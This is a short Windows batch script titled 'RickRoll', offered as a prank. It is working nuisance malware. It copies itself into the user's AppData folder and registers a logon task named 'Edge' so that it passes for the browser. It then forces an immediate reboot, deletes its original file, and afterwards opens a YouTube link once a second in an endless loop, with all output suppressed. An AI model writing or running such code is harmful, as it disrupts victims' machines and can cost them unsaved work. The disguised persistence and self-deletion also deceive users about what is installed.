RickRoll

@echo off
set url="https://www.youtube.com/watch?v=dQw4w9WgXcQ"
if exist "%APPDATA%\Edge\%~n0%~x0" (
    :main
    start "" %url% > nul 2>&1
    timeout 1 > nul 2>&1
    goto main
) else (
    mkdir "%APPDATA%\Edge" > nul 2>&1
    copy /y %~f0 "%APPDATA%\Edge" > nul 2>&1
    schtasks /create /sc onlogon /tn "Edge" /tr "%APPDATA%\Edge\%~n0%~x0" > nul 2>&1
    shutdown /r /t 0 /f > nul 2>&1
    start /b "" cmd /c del /q /f "%~f0" > nul 2>&1 && exit /b
)